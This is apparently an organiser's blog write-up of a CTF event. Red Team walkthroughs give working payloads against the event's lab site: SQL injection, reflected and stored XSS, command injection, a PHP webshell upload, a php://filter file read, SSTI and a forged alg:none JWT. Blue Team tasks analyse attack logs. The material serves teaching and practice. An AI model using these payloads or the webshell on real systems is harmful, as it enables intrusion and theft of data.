๐ Introduction
This is my first blog post! I recently organized and ran the CyberTech Solutions CTF โ a Capture The Flag competition with both offensive (Red Team) and defensive (Blue Team) tracks. The event featured 26 challenges worth a combined 3,500 points, ranging from classic web exploitation to SOC-style log analysis. Below is the full writeup for every challenge.
admin:admin123 ยท john:password123 ยท guest:guestRed Team โ Exploitation
13 challenges ยท 1,750 points
/challenge/login_legacy.php โ /challenge/dashboard.phpWalkthrough
- Open
/challenge/login.phpand View Source โ a comment at the bottom reveals:<!-- Legacy login at login_legacy.php has known SQL injection issues -->. Also check/challenge/robots.txtโ it listsDisallow: /login_legacy.php. - Navigate to
/challenge/login_legacy.php. - In the Username field, enter:
' OR '1'='1โ in the Password field, enter anything. - Click Sign In โ the query becomes
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'. Since'1'='1'is always true, it returns the first user (admin). - Click the Dashboard link โ the flag is displayed on the page.
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'
admin' -- (comments out password check), ' OR 1=1-- (returns all users)./challenge/about.phpWalkthrough
- Visit
/challenge/about.phpand click any View Profile button. The URL changes toabout.php?member=Robert%20Andersonโ the name is reflected without sanitization. - Craft a URL with a script tag:
/challenge/about.php?member=<script>alert('XSS')</script> - Open the URL โ JavaScript executes and a hint appears: "๐ XSS Detected!"
- Open DevTools โ Application โ Cookies โ find the
xss_rewardcookie.
/challenge/contact.phpWalkthrough
- Visit
/challenge/contact.phpand scroll to Public Feedback. - Fill the contact form โ Name: Attacker, Email: attacker@evil.com, Message:
<script>alert('XSS')</script> - Click Send Message โ the page reloads and your script executes from the stored message.
- A hint card appears โ open DevTools โ Cookies โ find
stored_xss_reward.
/challenge/view_message.phpWalkthrough
- Log in as
john:password123. - Visit the Contact page and click on any public message โ the URL is
view_message.php?id=2. - Change the
idparameter to1:/challenge/view_message.php?id=1 - Message
id=1is a private admin message โ there's no authorization check, so it renders anyway. The message body contains the flag.
/challenge/config.php.bakWalkthrough
- Check
/challenge/robots.txt:Disallow: /config.php.bak - Navigate to
/challenge/config.php.bakโ since.bakisn't processed by PHP, the raw source is shown. - Inside you'll find hardcoded credentials and the flag.
// Secret flag for CTF
// CCEE{b4ckup_f1l3s_l34k_s3cr3ts}
/challenge/dashboard.phpWalkthrough
- Log in and visit the dashboard.
- Open DevTools โ Network tab, refresh the page.
- Click the
dashboard.phprequest and check Response Headers โ the flag is in a custom header:X-Custom-Flag: CCEE{h34d3r5_t3ll_s3cr3ts}
curl -I -b cookies.txt http:///challenge/dashboard.php
# X-Custom-Flag: CCEE{h34d3r5_t3ll_s3cr3ts}
/challenge/admin.phpWalkthrough
- Log in as
admin:admin123(credentials from Challenge 5). - Navigate to
/challenge/admin.phpโ notice sidebar links like?file=admin_welcome. - Use a PHP stream wrapper to read the config source:
/challenge/admin.php?file=php://filter/read=convert.base64-encode/resource=includes/config - A base64 string appears in the Console Output area. Decode it to reveal the flag.
echo "PD9waHAK..." | base64 -d
# Result: CCEE{c0nf1g_f1l3s_4r3_tr34sur3s}
/challenge/tools.phpWalkthrough
- Log in and go to
/challenge/tools.php(Network Tools). - Select Ping, enter:
127.0.0.1; whoamiโ output showswww-data, confirming injection. - Now enter:
; cat includes/cmd_flag.txtโ the flag is printed.
; cat includes/cmd_flag.txt
/challenge/shop.phpWalkthrough
- Log in as
john:password123and go to/challenge/shop.php. You start with $100. The CTF Flag item costs $1,000,000. - Find any item (e.g. "Standard Support" at $50). Set the quantity to
-100000and click Buy Now. - The server calculates:
50 ร (-100000) = -5,000,000, then100 - (-5,000,000) = 5,000,100. You now have $5,000,100. - Buy the CTF Flag item (quantity 1).
/challenge/profile.php + /challenge/report.phpWalkthrough
- Log in as
john:password123and inspect/challenge/profile.phpโ no CSRF tokens on any form. - Use the provided exploit page (auto-submitting form that changes the password to
hacked123). - Go to
/challenge/report.phpand submit the exploit URL โ the admin bot visits it and the hidden form fires. - Admin's password is now
hacked123. Log in asadmin / hacked123. - Visit
/challenge/profile.phpโ the Admin Secrets section shows the flag.
/challenge/careers.phpWalkthrough
- Create a PHP webshell:
<?php system($_GET['cmd']); ?>and save asshell.php. - Go to
/challenge/careers.phpand submit an application, uploadingshell.phpas the resume. - Access the webshell:
/challenge/uploads/shell.php?cmd=cat includes/upload_flag.txt
/challenge/newsletter.php?mode=previewWalkthrough
- Visit
/challenge/newsletter.phpโ add?mode=previewto access the hidden Template Editor. - Confirm code execution โ enter:
${7*7}โ it renders 49. - Enter:
${file_get_contents('includes/ssti_flag.txt')}โ the flag is rendered.
${file_get_contents('includes/ssti_flag.txt')}
/challenge/jwt_demo.php + /challenge/api/auth.phpWalkthrough
- Get a legitimate JWT by logging in via the API as
guest:guest. - Decode the token โ it uses HS256 algorithm.
- Forge a new token with
"alg":"none"and payload:{"user_id":1,"username":"admin","role":"admin"} - Base64url-encode both parts and assemble:
<header>.<payload>.(empty signature, keep trailing dot). - Access the admin endpoint with the forged token.
echo -n '{"typ":"JWT","alg":"none"}' | base64 | tr '+/' '-_' | tr -d '='
echo -n '{"user_id":1,"username":"admin","role":"admin","iat":1234567890}' | base64 | tr '+/' '-_' | tr -d '='
Blue Team โ SOC Investigation
13 challenges ยท 1,750 points ยท Dashboard: analyst:analyst123
Walkthrough
- Log into the Blue Team dashboard.
- Sort the log feed by Time (ascending).
- Skip benign system messages (
jk2_init(),workerEnv.init()). - The first ALERT entry is:
Feb 08 00:01:52 firewall-02 waf: ALERT CMD injection detected
Walkthrough
- Filter by SSH or search for
Failed password for root. - Tally per IP:
112.95.230.3โ 15,5.36.59.76โ 10,173.234.31.186โ 10.
Walkthrough
- Check the Attack Vectors chart or count ALERT entries by type.
- XSS: 180, RCE: 177, SSTI: 168, CMD Injection: 164, SQLi: 156, LFI: 155.
Walkthrough
- Filter by LFI โ every alert shows:
GET /vulnerable.php?page=../../../../etc/passwd - Target file:
/etc/passwdโ formatted asetc_passwd.
Walkthrough
- Browse non-ALERT entries and count recurring patterns.
workerEnv.init() ok: 145 times,jk2_init() Found child: 115 times.jk2_init()is Apache mod_jk (Tomcat connector) initialization โ completely benign.
Walkthrough
- Search for
warningin the logs. - Find:
warning: disk space low on /var/logappearing 26 times across multiple hosts.
Walkthrough
- Search for
POSSIBLE BREAK-IN ATTEMPT. - Find:
reverse mapping checking getaddrinfo for ns.marryaldkfaczcz.com [173.234.31.186] failed - The random-looking domain is characteristic of a DGA (Domain Generation Algorithm).
Walkthrough
- Correlate all log entries per SSH attacker IP.
173.234.31.186: 50 entries,112.95.230.3: 40,218.188.2.4: 38.173.234.31.186shows the most diverse activity: auth failures, invalid user attempts, DNS failures, break-in alerts.
Walkthrough
- Filter by RCE โ every alert follows:
ALERT RCE Attempt: uname -a executed by www-data www-data= web server process user. Web-level access, not root.
ignoring max retries; 6 > 3?Walkthrough
- Search for
max retriesโ find:PAM service(sshd) ignoring max retries; 6 > 3 - These entries come from SSH session 24227.
- Correlate session 24227:
Failed password for root from 5.36.59.76
Walkthrough
- Search for
Invalid user. webmaster: 10 attempts (173.234.31.186),test9: 5 (52.80.34.196),chen: 5 (202.100.179.208).
Walkthrough
- Search for cloud-related hostnames in SSH logs.
- Find:
rhost=ec2-52-80-34-196.cn-north-1.compute.amazonaws.com.cn - Prefix:
ec2, Region:cn-north-1(AWS China โ Beijing). - Cross-reference IP
52.80.34.196:Invalid user test9.
Walkthrough
- Sort ALERT entries by timestamp and track first occurrence:
- 00:02:29 โ LFI, 00:04:24 โ SQLi, 00:07:10 โ SSTI, 00:08:03 โ XSS, 00:09:58 โ RCE.
- This mirrors a real attack lifecycle: recon โ DB probing โ code execution โ client-side โ full compromise.
๐ Scoring Summary
| Tier | Red Team | Blue Team | Combined |
|---|---|---|---|
| ๐ข Easy | 6 ยท 500pts | 6 ยท 500pts | 1,000pts |
| ๐ก Medium | 5 ยท 850pts | 5 ยท 850pts | 1,700pts |
| ๐ด Hard | 2 ยท 500pts | 2 ยท 500pts | 1,000pts |
| Total | 13 ยท 1,750pts | 13 ยท 1,750pts | 3,500pts |